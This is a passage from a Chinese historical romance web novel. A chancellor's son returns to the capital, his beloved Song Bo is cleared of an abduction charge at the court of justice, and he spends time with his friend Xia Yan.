就算她这关过了去,还有她家老爷坐镇,江丞相的思想有些古板,对江金熙的婚事要求便是个门当户对。 就算她家老爷退一步,但让江金熙嫁给一个农村野夫,是万万不可能的。 江金熙与江夫人聊着天,马车停到丞相府门口,临了下车,江金熙还提醒了江夫人一波,让她别留叶单越下来吃饭。 江夫人的侍女洪嬷嬷先下了车,给江夫人摆好了杌凳,扶着她下车。 青桥随后下车,借着前头洪嬷嬷放着的杌凳,牵着江金熙下车。 “小叶,你送到这儿就成了,天色也不早了,早些回去休息吧。”江夫人双手优雅地放在腹前,“一路赶回来也是累了。” “不累的。”叶单越说:“为您效力是我的荣幸,只是这长途赶来,有些渴了,想跟您讨杯水喝。” “这简单。”江夫人唤来洪嬷嬷,让洪嬷嬷先进府给叶单越倒了杯水出来,而后她带着歉意说着:“我与金囝许久未见,难免怠慢,下次定设宴招待你。” “不必客气。”叶单越接过洪嬷嬷端来的水一饮而下,随后一个利落翻身上马,“那我便先走了。” “路上慢走,当心骑马。”江夫人说。 “多谢江夫人关心。”叶单越答完话两腿一夹,骏马动了起来,他和善的嘴角自转了面后就压低了下去。 往常江夫人都会邀他进府小坐,现儿个却把他拒之门外,想必是江金熙在其中做了手脚。他千算万算,便是没算着他这个“囊中之物”去了一趟南方会变成这般模样。但是无事,等官司打起来以后,江金熙的名声就坏了去,到时整个京城定然没有人敢娶他,他终究只能是属于他的。 等到坐在自己房间之中,江金熙才真正的放松下来,他摊开手往床上一趟,身下是熟悉的软被,围绕在身边的是阳光的被子香。 “舒服吧,娘今儿早晨刚拿去晒的。”江夫人勾着嘴角在江金熙身旁坐下,被子随着江夫人的动作往下凹陷。 江金熙一个翻身,两手环住江夫人的腰,“还是娘懂我。” “行了说说吧,你怎么对小叶有那般大的意见?”江夫人说:“他可是一回京就来府上找你,知道你不见以后急得团团转,派人出去发现了你在南面儿挂的旗帜,这才找着你。” “先不说叶单越。”江金熙从床上坐起,贴着江夫人,“你们怎么这么久才找着我?” “说来也是怪,传回来的消息都说你在西北面儿,你爹都快把西北面儿翻烂了,要不是叶单越突发奇想往东南面儿找着去,我们还真得被别人给忽悠去了。”说到这儿江夫人拧着衣服,温婉的气质散去大半,“我倒是要好好查查,究竟是谁在与我们家作对,还伤害了我的金囝。” “娘,我没事的。”江金熙靠在江夫人的肩膀上,“我不是还因祸得福,找着我的宋郎了吗?” 宋郎、宋郎,短短一个时辰内她已经听过好几次宋郎了,江金熙当真是十分喜欢他,会与叶单越决裂应该也有宋泊的关系。 这般想来,这个宋泊恐怕不是什么简单人物,竟能让一对青梅竹马情感破裂。 “现在可以说说发生什么事了吧?”江夫人道。 江金熙点头,将在近里村和霞县发生的事儿全都告诉了江夫人。 “什么!”江夫人听完大怒,“好个叶单越,竟敢这么对你。” 江金熙也是被江夫人的声调吓了一跳,在他的印象中,娘亲总是温润儒雅,说话轻声轻语着,他赶紧抬手给江夫人顺气,“消消气消消气,都过去的事儿了可别气着你。” “当了个四品将军就不把我们丞相府放在眼里了?”江夫人气得起身给自己倒了杯水润润心,江金熙赶紧跟上,在江夫人喝光了的空杯子里重新满上水。 “亏我还谢他,谢什么。”这一生气,人都热了起来,江夫人抬手给自己扇着风,心底盘算着怎么报回去。 把人救回来是一码事,把人逼着在县衙跪下又是*另一码事。 江夫人百分之百相信自家哥儿说的话,她家哥儿品性纯良,自小到大从未撒过谎,他们丞相府就这么颗掌上明珠,捧在手中怕碎了,含在嘴里怕化了,这下倒好,直接被人欺负了去,她怎能忍得住这口气,“行了,这事儿你甭管了,我会看着处理。” 房中烛火摇曳,叶单越的事儿说完,正好到了晚饭的点儿。 江金熙与江夫人到了膳厅,洪嬷嬷做事细致,早安排好了一切,只等两人入座就能开餐。 圆桌之上放了数道菜品,因着在农村走了一遭,又亲自种了草药,江金熙得知粮食颗颗来之不易,看着这桌上的十道菜品,怎么看都有些憋心。 “娘,这么多菜只凭我俩也吃不完,端些下去分与侍人们吃吧。”江金熙道,他不是那种自私的主子,自己吃了以后给侍人吃自己剩下的,既要端菜下去,自得端干净的菜下去。 “这不是瞧你回来高兴,一不小心多备了些。”江夫人说道。丞相府的吃穿用度从不奢靡,家中配菜以一人两道菜为准,平常日子两个人四菜一汤便已足够,今日备了这么多,完全是心疼江金熙,想要他在回家第一天就尝到自己爱吃的菜,不知不觉就让厨房准备了十道菜。 江金熙也不想让江夫人失望,他拿了双干净筷子,端着瓷盘站起,每道菜都夹了些放在盘中,“这样我就每道菜都尝着了。” “还是你聪明。”江夫人眉眼弯弯,喊洪嬷嬷进来,撤了五盘菜分下去跟侍人们吃。 许久未瞧着自家的宝儿,江夫人满眼慈爱地看着江金熙,见着江金熙完好无损地坐在她面前吃着饭,两个腮帮子还鼓鼓得十分可爱,她的眼眶忽然就湿润了。 趁着江金熙未抬头,江夫人一抹泪,不过就算江夫人的动作再快,还是被江金熙抓住了动作,“娘,你怎么哭了。” “娘看着你就高兴。”既然被江金熙抓着了,江夫人也就没再藏着掖着,她大大方方擦了泪,说:“多吃些,可得把掉了的那些肉都养回来才是。” “娘,你在养猪呢?” 江夫人轻捏江金熙的脸蛋,笑道:“养的就是你这个小白猪。” 60-70 第61章 第六十一章漂亮的蓝色小鸟儿。…… 吃完了饭,江丞相也回了府,知江金熙和江夫人都在膳厅,他便直接往这儿赶来。 听着膳厅外的脚步声越来越近,江金熙按捺不住心中的激动站起身来。 江丞相的身影在膳厅门口出现,江金熙奔了几步,抱住江丞相,“爹!” “好孩子,可算回来了。”江丞相紧紧搂了下江金熙便松开了手,拉开一点儿距离,“让爹瞧瞧,瘦了又黑了。” “爹!”江金熙说道:“你怎么跟娘说得一模一样,我哪儿瘦了哪儿黑了,定是我又抽条了,你们才觉得我瘦了。” “都及笄了,还抽啥条呢。”江丞相笑着,牵着江金熙的手,一块儿在桌边坐下。 江夫人给江丞相倒了杯水儿,问:“今儿个怎么这么晚回来,有事耽搁了?” 江丞相喝了水,答道:“这不是找人解决咱金囝的案子嘛。” “可有法子了?”江夫人问。 “都安置妥当了,我让他们秉公执法。”江丞相道。 “宋泊会被判有罪吗?”江金熙忙问道,他们大费周章将案子转到廷尉府来,就是想要借着他爹的势力,给宋泊一个无罪的结果。 “你是想要他有罪还是无罪?”江丞相一个眼神飘来,看得江金熙一阵心虚,他知道自家父亲是什么性子,他与宋泊定了情这事儿可不能在案子定下之前,暴露在爹爹面前,可他又实在想护着宋泊,他看了江夫人一眼,忽然想着个正当理由,“宋泊是个好人,我自然希望他无罪。” “噢?”自家哥儿头一次说别人的好话,江丞相也是起了兴趣,他问道:“哪儿好?” 对他很好这江金熙哪儿敢说出来,他只能瞎掰扯着:“他大姑是村里有名的大夫,他帮着救了不少人。” 趁着爹爹还没查到近里村去,这般真真假假的话语还是可以蒙混过关的。 “宋泊的大姑竟然是大夫,也是奇了。”江夫人道。 恒国哥儿和女子的地位都不高,能学上医的都是家中宠儿,宋泊大姑是村中人,居然能学上医,家中生活应当不错。 “那是他大姑好,他有何好?”江丞相再问。 江金熙想起宋灵铃的事儿,拿出来举了个例子,“他还帮了里正家女儿,得了人家的感谢呢。” “如此?那我便留意着些。”江丞相说。 只留意可不行,江金熙软硬兼施,他拉着江丞相的手,撒娇道:“爹爹,你可得保他无罪,好人怎么能被误判呢?” 江丞相最是遭不住自家哥儿这般撒娇,他连连应道:“行了行了,我知道了。” 江夫人得知江丞相在外头还未用餐就赶了回来,又叫洪嬷嬷端了些新菜上来。 饭桌上氛围轻松,江丞相吃了两碗饭以后,才搁了碗筷念叨江金熙,“把案子转到廷尉府的法子那么多,你怎的就选了最傻的一种。” “是呐!”江丞相一提,江夫人也想起了江金熙做了什么,“那信肯定会影响你的名声。” “你也及笄了,该陆陆续续相看些青年才俊,这信一出,已然吓退了几家。”江丞相给自己倒了杯茶说道。 “能被吓退那就不是正确之人。”江金熙反驳道,再说了,他的正确之人已经选定了,不再需要相看其他人。 “不过我瞧着叶单越这人挺好,还得了个将军的称号,你俩一块儿长大,也算是良缘一件。”尚不知叶单越做了什么的江丞相因为信息滞后,还想着撮合江金熙与叶单越。 “可别,我嫁头猪都不嫁他。”江金熙立即说道。 “诶,怎么说话的,文雅一点儿。”江丞相先是念了江金熙一句,随后才反问道:“他做了什么,惹你这般生气。” “娘,你与爹爹说。”江金熙说。 每提一次他就来气一次,今天回到家心情好,气一次便够了。 江夫人将江金熙告诉她的事儿全都说给江丞相听,爱子心切的江夫人甚至还添油加醋了一番,夸张了叶单越的行径。 江丞相身居高位,做得最好的便是情绪管理,毕竟表情经常显露在面上的话,会容易被别人拿捏自己的情绪,“确有此事?” “千真万确。”江金熙道。 “好,他敢仗着那村儿离得远胡作非为,我总得教教他官权不是这般行使的。”江丞相说起话来还是平淡,但江金熙知道他爹爹已经生了气。 “爹爹莫气,事儿都过了,小惩就是,可别挡着爹爹的官路。”江金熙说。 爹爹做了几十年的官,好不容易坐上丞相之位,若因为惩了叶单越而引起帝心忌讳,那便是得不偿失。他虽然高兴叶单越吃苦,却不想因自己的事儿碍着爹爹的官路。他将村中事告诉爹爹和娘亲本来就只是想得个安慰,过去的事儿不必细究,等往后宋泊当了官,亲自惩戒他就是。 “我坐到这位置便是要护着你们娘俩。”江丞相说。 短短几个字,引得江金熙心底一阵感动,他抱住江丞相的胳膊,“爹爹真好。” 一家人坐与膳厅之中,又聊了半个多时辰,等到洪嬷嬷提醒了时辰,三人才散了回屋。 江金熙洗了个舒服的澡以后,换上了自家的睡服,躺在自个儿的床上。 因着夜已深,窗外只能听着时不时的鸟叫声,青桥睡着的偏房灯已经暗了,按照往常来说他也应该歇下了,可今儿个他躺在床上就是辗转反侧怎么也睡不着。 这是他第一次与宋泊分开,身边没了个热源,让他有些不适应。 不知道爹爹给宋泊安排的客栈如何,饭好不好吃,床软不软。宋泊他适应吗?睡下了吗? 这么想着,江金熙才发觉自己有些粘人,才离了宋泊几个时辰,却已经十分想念他了。 翌日,宋泊起了个大早,他有些认床,客栈里的床铺虽然舒服,但他还是需要适应个两三日才能顺利入睡。不知他的案子什么时候开始审理,一切都是未知的,让他有些担心。总归还是他太无力,命运放于别人手中,得依靠江金熙才能得个平安无事,越是这般,他越是坚定了考科举的心,他不想当个小白脸,他想成为江金熙的依靠。 吃了早饭,宋泊没了事干,与宋茶栽一起出了状元红客栈。 既然千里迢迢到了京城,自然得逛上一逛,京城确实繁荣,街道宽敞,边儿上的店铺种类极多,宋泊有心想看看书店儿,便与宋茶栽分开了来,宋茶栽进了医馆,他便到了医馆隔壁的书店中。 百书阁已是大店,但比起这儿的普通书店还是显得有些小了,宋泊一个书架一个书架地细细看了过去,看着不少与科举有关书籍,他停了步伐,挑出其中一本翻开,内容与他脑海中的记着的内容相差无几,四书五经早已焊死在他的脑海中,成为了他的一部分。 忽然,从拿书的缝隙中露出一只漂亮的眼眸,宋泊一眼便认出这是江金熙的眼睛,他惊讶地压低声音,说道:“你怎么在这儿?” 江金熙笑着绕过书架,双手交握放在身后,说道:“我去客栈找你,店员说你朝这儿来了,这家书店挨着医馆,我猜你与大姑应该会忍不住走进来,果然被我猜对了~” 江金熙今日穿上了自己的衣裳,浓密乌黑的长发被蓝宝石莲花冠束着,身着淡蓝色丝绸祥云袍,腰间挂着乳白兔纹玉,脚踩一双暗青色长靴,衬着他的瓜子脸儿又俏皮又可爱。 乍一下见着江金熙这副装扮,宋泊都被迷了眼,有些失神,情不自禁夸赞道:“你今天真漂亮。” 江金熙耳廓微微红着,他很高兴宋泊的反应,这样他起个大早细致打扮不至于做了无用功。 “我只有今天漂亮吗?”江金熙歪着脑袋,整个人就像个蓝色小鸟儿,带着调皮的劲儿,看得人心动不已。 “不。”宋泊摇头,他真诚说道:“你每天都很漂亮。” 江金熙听着这话心花怒放,没忍住轻笑出声,他瞧着宋泊手上的书,轻挪两下到宋泊身边瞧着,悄悄贴着宋泊站,他发现宋泊手里拿着的是与科举有关的书以后,道:“能看得懂吗?要不要我请人教你。” 江金熙并不是阴阳怪气,因着他只知宋泊会写字,不知他的文学水平,是真心想帮着他的,回到京城以后他的小金库回来了,帮忙请个私人先生完全没有问题。 “我再瞧瞧,看不明白再寻你帮助。”宋泊说,这些内容他闭着眼都能默出来,请私人先生完全是浪费钱,但他又不能这般说,不然他村民的身份真的要裂个干净了。 “好~”江金熙道。 江金熙靠得近,宋泊闻着一股香气,这股香气他从未闻过,淡淡的木香沁人心脾,“你抹了香?” “啊、你闻到了吗?”江金熙看着宋泊,他记得宋泊对香味很是敏感,“我抹得淡,还是熏着你了吗?” “没有,这个香气我很喜欢。”宋泊说。 第62章 第六十二章夏烟。 书店中不好长时间交流,宋泊把书放回去以后,到隔壁医馆之中,本来只是要跟宋茶栽说一句他们去茶馆等她,却没想到江金熙也留了下来。 宋茶栽正与店内的一个大夫讨论着什么,江金熙顺耳听了下被勾起了兴趣,在一旁站定。 青桥跟在江金熙身旁,见江金熙停了步子,他也跟在一旁停住,只是这三人说的话实在深奥,他只看过些简单的书,听着这些跟咒语一般的话,他昏昏欲睡。 宋泊也是没想着江金熙竟有医痴的趋向,听到实际病例就走不动道儿,看着短时间应当结束不了,宋泊便找了个无人的位儿坐下。 江金熙喜欢医术也挺好的,人总得不断学习精进自己。 青桥也站累了来,在跟宋泊隔了个位儿的位置坐下。 宋泊余光看了眼青桥,青桥看着就像是贵族官家的侍人,举止投足之间带着一些些高傲,在贵族家伺候久了,见的多是达官贵人,免不了沾上一些傲气。 青桥其实是有些瞧不上宋泊的,自家公子可是天上明星,他个地上的癞蛤蟆能碰着明星已经要偷乐了,怎么还有摘星的痴心妄想。 念着青桥是江金熙的侍人,宋泊便想与他打好关系,他倒了两杯水,自己一杯,青桥一杯,青桥点了下头,两人坐在位上,也没说什么话。 这一坐就坐了半个时辰,直到大夫将病人送出店内,江金熙才意识到自己来找宋泊却把宋泊晾在一旁儿的事。 “你等久啦。”江金熙跑到宋泊身边。 宋泊从椅子上起来,他给江金熙倒了杯水,送到他的手中,“听了什么?那般入神。” 江金熙先喝了口水润了润喉,随后才说他听了些什么,今儿个也是运气好,正好碰着一个书上写的疑难杂症,京城医术发展迅速,书中的疑难杂症在这儿已经不算是难症了,江金熙学了个明白,很想马上拿纸记下,想着他便做了,他喊着青桥去买了些纸来,借着医馆的笔记录下来。 宋茶栽跟大夫说完话,走到江金熙的身后看着,江金熙确实聪颖,刚刚大夫说过的话,他记住了大半,只是有些专业名词他实在没听过,写不出字来,宋茶栽才会在边上提醒一番。 “这儿错了。”宋泊伸着手指,落在江金熙的纸页上,虽然他是反着看的,但一笔一划能写出什么字他一清二楚,宋茶栽说的那个字很难,江金熙写漏了个横。 “哪儿错了?”江金熙盯着那字瞧了几眼,没刚出错在哪儿,宋泊笑了一下起身,到江金熙的身侧,他微微弯腰,从江金熙的手中接过毛笔,而后在他的字旁写了一个正确的字,用毛笔尖指了江金熙忘了的横,“少在这里了。” 江金熙没有被指出错误的羞愧感,他认真地瞧着宋泊写的字,欣然答道:“是我粗心了,漏了一横。” 简简单单一个字,就显示出了写字之人的不凡,青桥瞧惯了江金熙的字,心中也是有些惊讶,自家公子的字已然不凡,可宋泊的字儿一放在边儿,就稍显逊色了。 这人难道肚中有墨?青桥瞥了眼宋泊,受字的影响,他看宋泊顺眼了几分。 宋茶栽第一次瞅着宋泊的字,一开始她只是因为宋泊愿意读书走科举之路而盲目支持,现下看着这入纸三分的墨水,觉着这条路没准才是宋泊真正应当走的路,她活了几十年,见过的字没有上万也有上千,要她说,没有任何一个字比得上宋泊的字,“好小子,深藏不露啊。” 宋泊挠了下脑袋,谦虚道:“只是会写几个字罢了,说不上深藏不漏。” “小熙儿,你终于舍得出来了。”忽然,一个清脆的女生插入其中。 大伙儿转头看去,一位身着鹅黄色菊花暗纹裙的姑娘站在医馆门口,她身后跟了个婢女,应该也是个贵族家的姑娘。 “阿烟!”江金熙惊呼出声。 夏烟让婢女去找大夫拿药,她则迅步走到江金熙面前,一把牵住江金熙的手,“江丞相说你去远方亲戚家玩了,怎么一玩玩这么久,我都半年没见着你啦!” 丞相府哥儿丢了的事不能声张,江丞相对外一致说江金熙去亲戚家玩了,唬了不少人,夏烟便是其中之一。 江金熙是她在兰梅书院认识的同学,因着两人性情相投,所以玩得很好,每个月他俩都会小聚一次,要么是江金熙去她家,要么就是她去江金熙家。 江金熙半个月都没个动静,夏烟忍不住到丞相府找人,才得知江金熙已经去了亲戚家玩。 刚开始她还觉着有些不高兴,因为她什么事儿都会与江金熙说,而江金熙去亲戚家这么大的事儿却不与她说,后头她每月上丞相府两日,丞相府的下人都是同一副说辞,她就觉着有些奇怪,不过她一个姑娘家家没什么自己的势力,虽说家父是廷尉正,但从五品官哪儿有能力管正一品官的事儿,无法,她只能在家里待着,等江金熙回来。 夏烟并非监视着江金熙,知晓他回来了才出门的,今儿个她是来拿娘亲吃完的药,江金熙是她的意外收获。 “玩久了觉着还是家中好玩就回来了,抱歉没有给你带封信。”江金熙答。既然爹爹说他去亲戚家玩了,那他只能顺着这话下来。 夏烟主打一个好哄,她应道:“咱们找个位儿坐下聊聊,我有好多话想与你说。” “好呀,对面便有个茶铺,我们去那儿吧。”江金熙说。 夏烟等着婢女拿了药,让婢女将药送回去,顺便带话回去。 一行人浩浩荡荡进了茶馆,因着人多,江金熙就要了个包厢。 身后跟着两个陌生人,夏烟满脑子的问号,趁着上楼她悄悄拉着江金熙往前走了两步,小声问着:“他们俩是谁啊?” “我的宋郎和他的大姑。”江金熙直言。 夏烟捂住嘴,两只圆圆的大眼睛往后瞧了两眼,在宋泊看向她的时候,又局促地收了回来,“你、他!” “这事儿暂且只有你知。”江金熙拉着夏烟,“具体的我往后再告诉你。” 娘亲说要避嫌,那江金熙只能嘱咐着夏烟别说出去。 夏烟连连点头,说她一定把嘴巴闭得紧紧的。 夏烟跟江金熙年龄相仿,她也是刚及笄不久,少女怀春,虽然她还未有心仪之人,但好友定了情就足以让她心中激动。她没有江金熙那般爱看正经书,她家中最多的便是话本,话本瞧多了,看着江金熙与宋泊,便想到了贵哥儿和穷农户的故事,她满眼八卦,一会儿瞧着宋泊,一会儿瞧着江金熙。 宋泊帮江金熙拉开椅子,在江金熙坐下时又细心地将椅子推进去,椅子距离桌子不近不远,恰到好处。 店员送了茶具和茶叶上来,也是宋泊去门口端的,他将茶盘端到桌上,自己坐在泡茶位上,给大家泡茶。 小动作骗不了人,宋泊将倒了茶的小茶杯放在江金熙面前时,还特意叮嘱了一句“烫”,其他人可都没有这般待遇。 夏烟越看越来劲,只觉着话本的故事照进现实,凭什么婚姻就得门当户对,她瞧着宋泊与江金熙也挺好。 “说吧,你有什么想与我聊的?”江金熙说。 听着江金熙的话,夏烟这才把眼神收了回来,她道:“小熙儿你离京这么久,应当不知道,最近有个大案发生,我爹爹天天都忙到很晚才回家哩。” 夏烟喜欢听八卦,自家爹爹又是廷尉府的人,她总是能听着一些消息,索性也是公开的事儿,她就喜欢跟江金熙分享。 人生这么长,她又没事情做,只能找着江金熙聊些八卦,江金熙虽然对这些事儿没甚么兴趣,但每次她讲他都会认真倾听。 听夏烟这么说,江金熙心底咯噔一下,他悄悄看了眼宋泊,宋泊也在这时看了眼他,两人从对方的眼中都看出些哭笑不得。 “说是拐卖贵族呢。”夏烟说:“那人真是不要命啦。” 宋泊垂眸泡茶,一个字也不敢说。 宋茶栽看着宋泊这副模样觉着有趣,忍俊不禁。 青桥倒是想张嘴说话,但想着自家公子对宋泊的重视程度,便住了嘴,多说多错,别到时候还惹了公子生气。 “你可知是谁的案子?”江金熙问。 夏烟喝了口宋泊倒的茶,茶水浓淡适宜,淡淡的茶香在她口中蔓延,这人泡茶技术不错,不像是寻常农户。 听着江金熙的话,夏烟答:“不知,爹爹这次嘴特别严,我也只是恰巧听着了几个字。” 如此宋泊倒是安心下来。 江丞相在京中的势力确实很大,这案子涉及江金熙,江丞相定不会让江金熙暴露在众人面前,这般权势之下,便是一点儿风声都没露出来,最大限度保护了江金熙。 “听闻那案子三日后审判,我倒是真的好奇是谁犯了案。”夏烟托着下巴瞧着江金熙,“当真是胆大包了天了。” 第63章 第六十三章他值得。 三日后,江金熙的案子开审,宋泊起了个大早,将自己捯饬得精神,廷尉府不比县衙,今日要面对的官比林武玉的官大多了,需要他提起百分之两百的劲儿。 宋茶栽与宋泊一块儿,跨进延尉府,府内正厅就是审理案件的地方,两边已经各站了一排官员,他们身着统一官服,神色严肃。 江金熙比他们慢了一步,今儿个并非他自己前来,与他一块儿的还有青桥,青桥也算见证了一段,可以算半个证人,最后来的是叶单越,既是他上的状,他自然得到场。 厅下人到齐,云廷尉走进厅内,坐与上座,他的下属三人坐在他身后。 云廷尉看着干练,做事也是极其利索,他一句无用的话儿也未说,直接开门见山审理起案子来。 公说公有理婆说婆有理,做廷尉的人自有一双慧眼,他看向江金熙,“江公子,宋泊可有行拐卖贵族之子一事。” “回廷尉,未曾。”江金熙说:“我被陷害到了近里村,是宋公子好心收留,才能平安无事到今日。” 云廷尉听后面上什么表情也没有,他手上拿着叶单越递上来的证据,心中已有定夺,他看过的证据很多,是真是假他分辨一二便知,叶单越送来的东西假得像真的,若不是他经验丰富,倒真有可能被他骗了去。 江丞相说了要保宋泊无罪,云廷尉不敢做得太明显,他按着正常程序,审了一个时辰,最终醒木一拍,判下宋泊无罪。 宋泊和江金熙心底高兴,这场闹剧到这儿总算是落下一个帷幕。 叶单越还想反驳,却被云廷尉顶了回去,“叶将军,战场上你是主儿,但在这儿,我才是主儿。” 叶单越嘴一闭总算没了法子,不能强行判宋泊有罪,他心中郁得慌,事情似乎从这儿变了,他的阿熙离他越来越远。 “阿熙……”叶单越出声唤着江金熙。 江金熙瞧都没瞧叶单越一眼,直接跟着宋泊往廷尉府偏门走了,因着这案子未公开审理,所以他们也不好大喇喇地从正门出去,云廷尉给他们安排了回去的路子,从偏门出去有人帮着打掩护,不会暴露身份。 在廷尉弯弯绕绕的小路之间,宋泊没忍住说着:“真是多亏了你,我才能避开这劫。”他知道古代官权有多霸道,若江金熙也只是个普通百姓,今日他只会被叶单越欺负进牢中。 “确实,宋泊当真是修了八辈子福,才能遇着你这位贵人。”宋茶栽夸道。 江金熙被夸得脸蛋微红,他反过身来,道:“客气什么?只是小忙而已,不值得一提。” 大伙儿边聊边走,刚出廷尉府便有一辆马车等在边儿上,这是云廷尉安排的马车,款式低调,不容易引起别人注意。 江金熙刚被青桥扶着上了马车,余光便瞥着一人躲在廷尉府的院墙边鬼鬼祟祟,那人露在外头的黄色衣角让江金熙忍不住笑出了声。 宋泊站在马车之外,他听着江金熙在马车内笑,便隔着车厢问:“发生何事,如此高兴?” 江金熙知道自己的身份不好暴露,就没掀开车帘,他直接说:“你能帮我把墙边的‘小老鼠’抓来吗?” 听江金熙这么说,宋泊往墙角边瞧去,那人的伪装不太熟练,被宋泊瞧着了才缩回墙边。 宋泊轻踮脚尖,步子放轻如猫儿一般,一点儿声响也无地猫到墙边,随后轻轻一问:“夏姑娘,你怎么在这里呢?” 这跟幽魂一般的声儿吓得夏烟魂飞魄散,她惊叫一声转过头来,“宋公子,怎么是你在这儿。” 她对于今日的案子实在好奇,索性没什么事,便跑到这偏门想看看是谁从廷尉府里出来,只是那马车停的角度实在刁钻,她只能瞧着偏门开、偏门关,是谁上了马车她是一眼也未瞧着。 云叔叔还是厉害,掩饰人离开的技术是越发高超了。 没瞧着人,夏烟便想着走了,没想到临走前倒是被宋泊抓了个正着。 夏烟在偏门边蹲了半个时辰,期间一个路过的人也没有,今日廷尉府只有一个案子,宋泊凭空出现,莫不是今日案子与宋泊有关? 夏烟念着江金熙,自家好友可不能寄情于一个有案底的人呐。 “你怎么在这里呢?”宋泊反问。 “我、我来找我爹爹怎么了?”夏烟双手叉腰理直气壮地怼了回去,“你是不是瞒着小熙儿犯了案?” 江金熙这个好友也是真心为他好,瞧着他便为江金熙质问着,宋泊回道:“小熙儿正在车上等你,请你上车一叙。” ??? 夏烟满脑子问号,兰梅书院里所有人犯了案都不会是江金熙犯了案,她瞥了一眼宋泊,“你要是带坏了小熙儿,我可与你没完。” 宋泊心中无奈,怎么他就总是给人一个带坏人的印象。 夏烟跟着宋泊到了马车边,随后她上了车,车上果然坐着江金熙。 为了避嫌,江金熙与宋泊并不能一块儿离开,驾驶马车的车夫等着车上人齐以后,便驾着车走了。 “小熙儿你犯了什么案?”夏烟坐在江金熙的对侧,紧张极了,“你怎么不与我说呢,说了我喊爹爹帮你。” “谢谢你,不过我的事儿已经妥善解决了。”江金熙说。 听江金熙这么说,夏烟便放下心来,随后她的八卦之心渐起,“方便说说发生什么了吗?” “你可真是好奇心旺盛。”江金熙笑骂。 夏烟不好意思地笑了笑,生活无聊总得听点儿趣事增增彩,她瞧着江金熙,娇说:“你要是不乐意说,我也可以不听的。” 事儿都过去了,说与夏烟听也没什么关系,江金熙挑着与案子有关的内容说给夏烟听,毕竟要从他到近里村开始说起,这得说上三天三夜。 夏烟捂着嘴,难以置信地说道:“天呐,这姓叶的怎么这样!” 当时她们还在兰梅书院学习的时候,叶单越经常下了武场就到她们那儿找江金熙,可能是因为哪儿出了新菜,也可能是因为哪儿有了新趣事,总之他找得频了,在兰梅学院的同学都以为叶单越心系江金熙,两人成婚只是时间早晚的问题,故而有些对叶单越有意思的哥儿、姑娘,都知难而退。 “他去了趟北域,像是换了个人似的。”江金熙答。 “你可得叫你爹爹好好惩他一惩,太嚣张了。”夏烟愤道。 “我知的。”江金熙答。 马车又缓缓行了一段,车内安静下来一阵,耳边只有街边摊贩叫卖的热闹声。 夏烟抿了抿唇,心里斟酌了一会儿,才小心翼翼地开口说道:“原来你没去亲戚家,我说江丞相在西北方找什么东西呢原来是在找你。”她偷偷瞄着江金熙的神色,想着自己之前还生江金熙的气,真是半夜都得爬起来扇自己两巴掌。 “都过去了,你可不得将此事声张出去。”江金熙说。 “我疯了才会说出去。”夏烟答,她虽然八卦,但并没有把快乐建立在别人痛苦之上的扭曲乐趣,更何况是自家好友的苦难经历。江金熙相信她才会与她说这件事,她必不可能辜负江金熙的信任,说出去给外头不相干的人听。 “决定了!”夏烟两手一拍,“今儿个姐姐出一回血,请你吃饭!” 夏烟比江金熙大上两个月,往常两人经常互相请对方吃饭,江金熙喜欢吃什么,夏烟一清二楚,“就去你最爱去的竹楼!” “呀,夏姐姐今日可得大出血啦。”江金熙笑道。 “怕什么,我有钱!”夏烟答。 江金熙让青桥先回家,把案子的事告诉爹爹与娘亲,顺便把他与夏烟吃饭的消息带回去。 顾名思义,竹楼就是用竹子做成的楼,因着环境清幽,深受文人学子、哥儿姑娘的喜欢。竹楼内不卖气味大的吃食,所以只卖些果饮、甜点,竹楼正中央有伶人表演,表演的曲儿都是安静*的曲子,令人心情平静的同时,还方便客人聊天说事儿。 江金熙经常来竹楼,店小二都记着他的面儿,一见他来了便笑脸相迎,引着他上楼入包厢。 虽说竹楼不太吵闹,但大厅里的人多,说话声挤在一块,有点儿像蚊子在耳边飞,有些恼人,所以江金熙来竹楼只愿意上包厢内。 不用店小二拿菜单来,夏烟就直接点好了餐品。 竹楼上菜速度很快,半炷香时间,桌上就放上了一盘斑斓糕,还有两碗果饮。 江金熙抬手捻了糕点入口,熟悉的入口即化,让他幸福地眯起眼睛,“等会儿我要包上一些送到宋泊那儿,让他也尝一尝。” 夏烟双手托着下巴,她瞧着江金熙,说:“你真的坠入爱河了,吃个东西都得记着他。” “之后他要走的路可苦了,我总得找些法子让他高兴。”江金熙说。 “你可是丞相哥儿!怎么这么卑微。”夏烟说。 “卑微吗?”江金熙看着夏烟,“如果你知道他对我有多好的话,你也会觉得他值得。” 第64章 第六十四章世上最好的大姑。 江金熙和夏烟乘着马车走后,宋泊与宋茶栽回了客栈,在出廷尉府之前,江金熙就与他说过避嫌这事儿,不过只是避着一段儿时间,熬过一天便可以。 宋茶栽高兴得不行,自家侄儿没了事儿,比她自己得了喜事还高兴。 回到客栈正好是午时,店小二端了午餐来,宋茶栽进了宋泊的房,这几日饭点儿他们都在一块儿吃。 一项大事解决,宋茶栽便说起了回村的事儿,京城毕竟不是他们的家,他们在这儿只能稍作停留,只不过她的家在近里村,而江金熙却在京城,宋泊面临着两难的选择。 “你可以在京城多留些日子,拓宽下眼界。”宋茶栽说,京城里汇集了恒国最高层的资源,多待上几日被京城中的氛围熏陶着,也能丰富宋泊的眼界。 不过京城物价高,吃穿住行没一样便宜的,宋茶栽怕宋泊钱不够,还说着:“生活花销你不必担心,大姑给你出。” 宋茶栽当真是个好大姑,宋泊心中感叹,他不过是他的侄儿,并不是他的亲生儿子,她却如对待亲生儿子一般对待他。 宋泊本也没打算在京城待太久,一方面是囊中羞涩,不足以他长期住在客栈之中,江金熙可以帮他解决这事儿,但他并不想赖着江金熙,像个寄生虫一般“寄生”在江金熙身上;另一方面近里村的环境更适宜学习,那儿离权利远,人际关系也相对简单,不会有些别个事儿碍着他学习,若在京城之中,保不齐哪一日在不知情之间得罪个达官贵族,又得耗上好一阵,还拖累江金熙。 不过他并不跟宋茶栽一起回近里村,江金熙还在这儿,他要跟江金熙说清楚这事儿,才能放心离开京城。 宋泊不会强求江金熙,他想待在哪儿就待在哪儿,反正终有一天,他会考到京城来,他们的感情不会被地域影响。 “多谢大姑,但我的钱还够,不用花着你的钱。”宋泊说。 宋茶栽知道宋泊现在的性子,他肯定会因为不想麻烦她,而自己想着解决的法子,“自家人可别客气。” “我定不会客气的。”宋泊道。 午饭吃后,宋泊坐在房内,思索着之后的安排,明儿个送走宋茶栽以后,他便去找个便宜的客栈住下,虽说那客栈的品质肯定会急速下降,但自己出钱住的客栈总比江丞相定的安心些,然后再与江金熙一块儿商量未来的计划,住个半月他的钱应当就用的差不多,三月中正好能回到近里村。 